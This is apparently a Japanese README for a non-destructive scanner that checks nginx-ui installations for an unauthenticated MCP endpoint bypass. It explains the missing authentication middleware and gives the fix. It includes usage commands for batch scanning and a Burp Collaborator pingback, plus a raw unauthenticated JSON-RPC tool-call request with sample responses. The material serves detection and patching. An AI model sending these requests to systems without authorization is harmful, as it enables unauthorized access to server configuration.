Nginx-UI MCPエンドポイント認証バイパス用の非破壊的脆弱性スキャナー
CVE-2026-33032 は、nginx-uiのModel Context Protocol(MCP)統合における認証バイパス脆弱性です。/mcp_message エンドポイントは認証ミドルウェアが欠如している一方で、すべてのMCPツールへのアクセスを提供しており、リモート攻撃者が以下を実行できる可能性があります:
認証の非対称性: /mcp エンドポイントは認証を要求しますが、/mcp_message は要求しません:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // AuthRequired() が欠如
フェイルオープンのIPホワイトリスト: デフォルトのIPホワイトリストは空であり、ミドルウェアはこれを「すべて許可」として扱います
両エンドポイントがハンドラーを共有: 両方とも同じ mcp.ServeHTTP() にルーティングされ、すべてのMCPツール呼び出しを処理します
✅ 非破壊的テスト - 読み取り専用のMCPツールのみを使用
✅ 包括的なフィンガープリンティング - nginx-uiインストールを識別
✅ 安全な概念実証 - 設定変更なし
✅ バッチスキャン - ファイルから複数のターゲットを処理
✅ 詳細なレポート - 統合用のJSON出力
# スキャナーをクローンまたはダウンロード
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# 依存関係をインストール(必要な場合)
pip3 install requests
# 単一ターゲットをスキャン
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# 詳細出力でスキャン
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# カスタムタイムアウト
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# ファイルから複数のターゲットをスキャン
python3 cve-2026-33032-scanner.py -f targets.txt
# 詳細出力とJSONレポート付き
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
#Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt - 各行に1つのURL
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
スキャナーは多段階の検出プロセスを実行します:
一般的なnginx-uiエンドポイントをチェックしてインストールを識別します:
/api/info - バージョン情報/login - ログインページ/api/auth/login - 認証エンドポイント/mcp および /mcp_message - MCPエンドポイント/mcp エンドポイントをテストして、認証が適切に要求されることを確認します(ベースライン)
認証なしで /mcp_message 経由の非破壊的MCPツール呼び出しを試みます:
いずれかのツールが認証なしで成功した場合、脆弱性が確認されます。
スキャナーは読み取り専用のMCPツールのみを呼び出します:
| ツール | 説明 | 影響 |
|---|---|---|
nginx_status | nginxサービスのステータスを読み取る | 変更なし |
nginx_config_list | 設定ファイルを一覧表示 | 変更なし |
nginx_config_base_path | 設定ディレクトリのパスを取得 | 変更なし |
明示的に回避されるツール:
nginx_config_add - ファイルを作成する可能性があるnginx_config_modify - 設定を変更する可能性があるrestart_nginx / reload_nginx - サービスの中断nginx_config_enable - アクティブな設定を変更する可能性がある[+] nginx-ui検出: /login に 'nginx-ui' が見つかりました
[+] /mcp エンドポイントは適切に保護されています
[*] /mcp_message エンドポイントをテスト中 (CVE-2026-33032)...
[*] ツールを試行中: nginx_status - nginxステータスを読み取り(最も安全)
ステータス: 200
======================================================================
[!] CVE-2026-33032 に対して脆弱
======================================================================
証明: 認証なしで nginx_status の実行に成功
[+] nginx-ui検出: バージョンエンドポイントにアクセス可能
[+] /mcp エンドポイントは適切に保護されています
[*] /mcp_message エンドポイントをテスト中 (CVE-2026-33032)...
[*] ツールを試行中: nginx_status - nginxステータスを読み取り(最も安全)
ステータス: 401
認証が必要(保護されています)✓
[+] 脆弱ではない - エンドポイントは認証を要求します
脆弱性が確認された場合:
即時修正: /mcp_message に認証ミドルウェアを追加します:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
多層防御:
アップグレード: 利用可能になったらパッチ適用済みのnginx-uiバージョンに更新
このツールは以下を目的として設計されています:
所有していない、または明示的なテスト許可がないシステムでこのツールを使用しないでください。
この脆弱性を報告する際:
深刻度: 重大(CVSS 9.8+)
証明: 認証なしのMCPツール呼び出しの成功を示すスキャナー出力を含める
影響チェーン:
安全なPoC: 読み取り専用ツールのみを使用(nginx_status、nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx is running (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "authentication required"
}
このツールは教育目的および許可されたセキュリティテスト目的のみで提供されます。
Antony Esthak Twinson @ Cyber Tamarin
セキュリティ研究者 | バグ報奨金ハンター
Webアプリケーションセキュリティと脆弱性研究を専門とする
免責事項: このスキャナーは非破壊的テストのみを実行します。システムをテストする前に必ず適切な許可を取得してください。